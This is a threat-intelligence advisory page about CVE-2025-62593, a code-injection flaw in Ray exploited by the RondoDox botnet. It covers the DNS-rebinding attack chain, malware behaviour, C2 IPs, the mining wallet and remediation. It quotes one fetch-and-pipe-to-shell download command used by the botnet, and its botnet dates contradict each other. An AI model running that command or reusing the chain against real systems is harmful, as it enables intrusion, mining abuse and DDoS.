CISA Warns of Active Exploitation of Ray-Project Ray Code Injection Vulnerability (CVE-2025-62593) by RondoDox Botnet

CISA Warns of Active Exploitation of Ray-Project Ray Code (TL-2026-2097), also tracked as ShadowRay 2.0, is a critical-severity software vulnerability scored CVSS 9.4, first published 2026-08-21. It is attributed to RondoDox with medium confidence, affects Ray-Project Ray, references 1 CVE (CVE-2025-62593), maps to 22 MITRE ATT&CK techniques (T1027, T1036, T1037.004), and is covered by 9 detection rules and 28 indicators of compromise.

Key facts for TL-2026-2097

Threat ID
TL-2026-2097
Also known as
ShadowRay 2.0, RondoDox Botnet Campaign
Severity
CRITICAL
CVSS
9.4 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-08-21
Last reviewed
2026-08-21
Attribution
RondoDox
Attribution confidence
MEDIUM
Motivation
FINANCIAL
Target sectors
government administration, technology, ai-ml, cloud-computing, telecoms, finance
Target regions
North America, Europe, Asia-Pacific, Global
Detection rules
9
Indicators of compromise
28

Malware and tooling in CISA Warns of Active Exploitation of Ray-Project Ray Code

Malware and tooling: Singularity, xmrig, XMRig Proxy

CISA added CVE-2025-62593 to its Known Exploited Vulnerabilities catalog on August 17, 2026, mandating federal agencies remediate within 3 days. The critical code injection vulnerability (CVSS 9.4) in Ray-Project Ray versions prior to 2.52.0 allows unauthenticated remote code execution via DNS rebinding combined with User-Agent header spoofing in Firefox and Safari. The RondoDox botnet, a Mirai-inspired DDoS botnet with 174 distinct exploits, began exploiting this vulnerability two days before public disclosure on November 24, 2025.

How CISA Warns of Active Exploitation of Ray-Project Ray Code works

CVE-2025-62593 is a critical remote code execution vulnerability in Ray-Project Ray, an open-source Python-native distributed computing framework for scaling AI/ML workloads (43,500+ GitHub stars). The vulnerability affects all Ray versions prior to 2.52.0 and received a CVSS 4.0 score of 9.4 (Critical) from GitHub as the CNA.

The root cause lies in Ray's dashboard and job submission API, which intentionally lacked authentication on critical endpoints such as /api/jobs and /api/job_agent/jobs/, a longstanding design decision by the Ray development team. The sole defense against browser-based attacks was a middleware check that rejected requests whose User-Agent header began with 'Mozilla'. However, the Fetch specification allows scripts to set the User-Agent header arbitrarily, and Firefox and Safari implement this faithfully — Chrome is paradoxically immune due to a Chromium bug. Researchers Avi Lumelsky (Oligo) theorized the fetch bypass, and Jonathan Leitschuh (Socket) developed the full DNS rebinding attack chain using NCC Group's Singularity tool.

The attack chain proceeds as follows: (1) a developer runs Ray locally with the dashboard on port 8265; (2) the developer visits a malicious website or is served a malvertising ad in Firefox or Safari; (3) DNS rebinding tricks the browser into treating an attacker-controlled domain as localhost; (4) the browser sends a POST /api/jobs/ request with a spoofed User-Agent: Other header; (5) the payload submits an arbitrary shell command as the job entrypoint; (6) Ray executes the command on the victim's machine. The attack also enables leveraging the browser as a confused deputy intermediary to target Ray instances on private corporate networks.

The RondoDox botnet, first observed in May 2025, is a Mirai-inspired DDoS botnet that has incorporated 174 distinct exploits targeting edge devices, routers, DVRs, and IoT devices across 18 CPU architectures. It was first documented by FortiGuard Labs in September 2024 as a limited threat with only 2 exploits, but rapidly expanded. BitSight observed RondoDox beginning to exploit CVE-2025-62593 on November 24, 2025 — two days before public disclosure and the availability of the patched Ray 2.52.0 release — as a proof-of-concept exploit was already circulating pre-disclosure. Notably, BitSight's analysis found that RondoDox's initial exploit implementation was flawed: the exploit set the User-Agent to Mozilla/5.0 (rondo2012@atomicmail.io), which actually triggered the Ray server's existing 405 Method Not Allowed response, rendering the exploit ineffective against properly configured Ray instances.

RondoDox's infection chain begins with RCE exploitation of vulnerable edge devices, delivering a shell script fetched from hosting infrastructure via pipes (busybox wget -qO- http://<INFRA>/rondo.jbt.sh|sh). The shell script hinders analysis, removes competing malware, finds a writable directory, and fetches the correct architecture-specific binary. The main binary performs anti-debugging checks (nanomites ptrace-based anti-debug, TTY detection, kernel debugger checks), daemonizes, adjusts its OOM score to -1000, renames itself to a random 7-9 character name, and establishes persistence via init.d scripts, crontab entries, rc.local, rcS, inittab, and systemd. It also kills competing malware, renames defensive tools (iptables, ufw, shutdown, poweroff, halt, reboot, chattr, passwd, chpasswd), and disables SELinux and AppArmor. The botnet's sole purpose is DDoS attacks with 28 attack types across internet, transport, and application layers, including HTTP flood, UDP raw sockets, TCP SYN flood, and protocol mimicry targeting OpenVPN, WireGuard, Valve games, Minecraft, Fortnite, and Discord. Additionally, it drops and launches the XMRig cryptocurrency miner on compromised systems, initially mining solo to pool.hashvault.pro and later switching to an XMRig Proxy at 45.94.31.89:443.

CISA added the vulnerability to the KEV catalog on August 17, 2026 under Binding Operational Directive 26-04, which allows compressed remediation timelines. Due to the severity and active exploitation, CISA mandated a 3-day remediation window (deadline August 20, 2026) requiring forensic triage of affected assets. The SSVC assessment rates exploitation as Active, Automatable as Yes, and Technical Impact as Total. The vulnerability was also exploited in the broader ShadowRay 2.0 campaign, where attackers turned unpatched Ray clusters with NVIDIA GPUs into a self-replicating cryptocurrency mining botnet, with over 200,000 Ray servers exposed to the internet.

MITRE ATT&CK techniques used in TL-2026-2097

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1070.004 Indicator Removal: File Deletion; T1497.001 Virtualization/Sandbox Evasion: System Checks; T1564.001 Hide Artifacts: Hidden Files and Directories

Persistence

T1037.004 Boot or Logon Initialization Scripts: RC Scripts; T1053.003 Scheduled Task/Job: Cron; T1543.002 Create or Modify System Process: Systemd Service

Discovery

T1057 Process Discovery; T1082 System Information Discovery

Execution

T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.007 JavaScript; T1204.001 User Execution: Malicious Link

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1571 Non-Standard Port; T1573.001 Encrypted Channel: Symmetric Cryptography

Initial Access

T1190 Exploit Public-Facing Application

Impact

T1489 Service Stop; T1496 Resource Hijacking; T1498.001 Network Denial of Service: Direct Network Flood

defense-impairment

T1685 Disable or Modify Tools; T1686 Disable or Modify System Firewall

Affected products and versions in CISA Warns of Active Exploitation of Ray-Project Ray Code

  • Ray-Project — Ray
    Vulnerable versions: < 2.52.0
    Fixed in: 2.52.0 and later

Remediation for CISA Warns of Active Exploitation of Ray-Project Ray Code

Patches

  • Upgrade to Ray >= 2.52.0

Immediate actions

  • Upgrade Ray to version 2.52.0 or later immediately
  • Enable token authentication for Ray dashboard and job submission API
  • Bind Ray dashboard to loopback (127.0.0.1) unless external access is required
  • Block C2 IPs (135.148.68.54, 83.150.218.93, 45.94.31.89, 45.125.66.100) at perimeter
  • Block exploitation infrastructure IP ranges at perimeter

Workarounds

  • Avoid browsing the web in Firefox or Safari while running Ray in development mode on the same machine
  • Do not expose Ray dashboard --dashboard-host=0.0.0.0 beyond trusted network perimeter
  • Block POST/PUT requests to /api/jobs/ from external sources at the network level

Longer-term hardening

  • Audit all Ray deployments for pinned versions in lockfiles, base images, CI runner images, and notebook environments
  • Maintain a defined network boundary for Ray clusters
  • Monitor for unauthorized /api/jobs/ POST requests with non-standard User-Agent headers
  • Deploy EDR with behavioral detection for RondoDox indicators (random dotfile names, /proc enumeration, XMRig processes)
  • Implement network segmentation for AI/ML infrastructure

CVEs associated with CISA Warns of Active Exploitation of Ray-Project Ray Code

CVE-2025-62593

Weaknesses (CWE) in CISA Warns of Active Exploitation of Ray-Project Ray Code

CWE-94, CWE-352

Timeline of CISA Warns of Active Exploitation of Ray-Project Ray Code

  • RondoDox v1 first documented by FortiGuard Labs with only 2 exploits and C2 at 83.150.218.93
  • First observed RondoDox v2 activity with 9 commands and 23 DDoS protocols; initial exploit payload sent as JSON instead of form-encoded, lasted only 12 minutes
  • Peak observed activity: 49 unique vulnerabilities exploited in a single day; 15,000 exploitation attempts recorded in one day
  • RondoDox v2 detected by Beelzebub honeypots from IP 124.198.131.83 (New Zealand); exploit count grew from 2 to 75+
  • Beelzebub publishes public disclosure of RondoDox v2 analysis with full malware technical details
  • RondoDox begins exploiting CVE-2025-62593 two days before public disclosure, as a proof-of-concept exploit was already circulating pre-disclosure
  • CVE-2025-62593 publicly disclosed; Ray 2.52.0 released with the fix (commit 70e7c72780bdec075dba6cad1afe0832772bfe09); GitHub Advisory GHSA-q279-jhrf-cc6v published
  • Cryptomining capability added to RondoDox; XMRig miner dropped alongside main binary; wallet address 89cSY2wpei5HpsZGqusuYAjXHKx84q6oBdMsZNis5kC9J4uHsA7gKca9NGyEh48fnP9ufKv4HjcJr6n1K1NLybTs2Jo1rdG observed mining to pool.hashvault.pro
  • RondoDox shifts from wide shotgun approach (~40 vulnerabilities) to targeting only 2-3 focused recent vulnerabilities, notably CVE-2025-55182 (React2Shell) and CVE-2023-46604
  • Last observation of RondoDox activity in BitSight's study period; botnet had accumulated 174 distinct exploits mapped to 148 CVEs
  • CISA adds CVE-2025-62593 to Known Exploited Vulnerabilities catalog under BOD 26-04 with a compressed 3-day remediation deadline (August 20, 2026)
  • FCEB agencies remediation deadline for CVE-2025-62593; CISA required forensic triage of affected assets
  • SecurityWeek and other outlets report on CISA KEV addition and active exploitation of CVE-2025-62593 by RondoDox botnet

Sources cited for CISA Warns of Active Exploitation of Ray-Project Ray Code

Threats related to CISA Warns of Active Exploitation of Ray-Project Ray Code

Detection coverage for TL-2026-2097

As of 2026-08-21, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2097 across Splunk SPL, Microsoft KQL and Sigma, covering 28 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats